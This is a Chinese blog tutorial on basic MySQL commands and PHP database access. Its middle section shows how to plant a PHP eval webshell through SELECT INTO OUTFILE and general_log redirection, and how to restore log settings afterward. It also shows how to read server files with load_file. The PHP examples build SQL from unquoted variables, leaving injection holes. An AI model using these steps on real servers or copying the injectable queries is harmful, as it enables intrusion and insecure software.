MySQL基础命令使用~

MySQL的使用

  1. 创建一个数据库
    CREATE DATABASE dbname
    在这里插入图片描述

  2. 删除数据库
    drop database dbname
    在这里插入图片描述

  3. 创建数据表
    create table tblname ([表定义选项])[表选项][分区选项]
    [表定义选项]的格式:<列名1><类型1>
    由列名(col_name)、列的定义(column_definition)以及可能的空值说明、完整性约束或表索引组成。
    在这里插入图片描述
    在这里插入图片描述

注意: 如果使用加引号的识别名,则应对数据库和表名称分别加引号。例如,‘mydb’.‘mytbl’ 是合法的,但 ‘mydb.mytbl’ 不合法。数据表中每个列(字段)的名称和数据类型,如果创建多个列,要用逗号隔开。表名称被指定为 db_name.tbl_name,以便在特定的数据库中创建表。无论是否有当前数据库,都可以通过这种方式创建。在当前数据库中创建表时,可以省略 db-name。
在这里插入图片描述

  1. 查看数据表
    show tables
    在这里插入图片描述

  2. 增加一个列
    Alter table tblname add column col type

在这里插入图片描述
在这里插入图片描述

  1. 基本的sql语句
    (1) 选择
    select * from tblname where 范围
    在这里插入图片描述

(2) 插入
insert into tblname(field1,field2,…) values (values1,values2,…)
在这里插入图片描述
在这里插入图片描述

注意:类型是字符的,输入值时要加’’。
(3) 删除
delete from tblname where field

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201204204123153.png)

在这里插入图片描述

(4) 更新
update tblname set field1=values1 where field
在这里插入图片描述
在这里插入图片描述

(5) 查找
select * from tblname where field1 like ‘%values1%’
在这里插入图片描述

(6) 排序
select * from tblname order by field desc(根据field排序倒序)
在这里插入图片描述

select * from tblname order by field asc (根据field排序顺序)

在这里插入图片描述

  1. 写入webshell

一、 select into outfile直接写入

权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。
关于secure_file_priv配置介绍:
(1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
(2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
(3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

首先查看secure_file_priv值
show global variables like ‘%secure%’

在这里插入图片描述

我们可以看到这里的值为NULL,我们无法进行提权。所以我们将值改为空 即没有具体值。
此变量只读变量,所以我们通过在MySQL的配置文件中的my.ini配置文件进行修改,使它变为空。

在这里插入图片描述
在这里插入图片描述

此时,我们就可以进行一句话写入了。
select ‘<?php @eval($POST[123]); ?>’ into outfile ‘E:\shell.php’
在这里插入图片描述

查看是否生成shell.php
在这里插入图片描述

成功写入。
二、利用全局日志写webshell
首先查看MySQL的日志状态
show variables like ‘%general%’
在这里插入图片描述

开启general_log模式
在这里插入图片描述

结果,已开启
在这里插入图片描述

接下来将日志目录改为webshell地址
set global general_log_file=‘E:\shell2.php’
在这里插入图片描述

更改成功
在这里插入图片描述

开启general_log的作用:开启它可以记录用户输入的每条命令,会把其保存在D:\phpstudy_pro1的文件中,即我们常说的日志文件。
开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。

PS:要记住原先的日志保存路径,我们在获取到webshell之后需要恢复到原来的路径

写入webshell,我们可以看到写入的语句出现在了日志中。
在这里插入图片描述

最后我们需要恢复原来的日志文件路径并且关闭全局日志。
set global general_log_file=‘D:\phpstudy_pro1’
set global general_log = off
在这里插入图片描述
8. 读取数据
前提:1.在拥有file权限的前提下
2.secure_file_priv不为NULLload_file()
一、load_file()
首先创建一个文档
在这里插入图片描述

输入SQL语句
在这里插入图片描述

读取
在这里插入图片描述

二、load data infile
输入SQL语句

在这里插入图片描述

读取
在这里插入图片描述

三、system cat(MySQL版本为5.x)
mysql> system cat E:\1.txt

PS: 1.此方法只能在本地读取
2.无法越权读取。

前两种方法都是通过新建一个表,读取文件为字符串形式插入表中,然后读取表中的数据

PHP+MySQL

这里以我之前自己写过的一个博客为例

  1. 首先我们应该先创建一个与我们的网站相连接的数据库,里面应该包含我们前端网页需要的所有数据。创建一个名为“task”的数据库,创建数据表。
  2. 连接数据库
    在这里插入图片描述

在进行数据库连接的语句中有三个参数分别是:localhost/127.0.0.1、数据库登录的用户名、数据库登录的用户名。并指定数据库名。

在这里插入图片描述

  1. 增加数据
    Eg: $sql = “insert into tblname(username, password) values( $username, $password)”;

在这里插入图片描述
在这里插入图片描述

  1. 查看表中数据
    $sql = “select * from tblname”;
    在这里插入图片描述

代码示例
在这里插入图片描述

  1. 更改数据
    $sql = “update tblname set username = ‘’, password = ‘’”;
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

代码示例:
在这里插入图片描述

  1. 删除数据
    $sql = “delete from user where 条件”;
    代码示例:

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值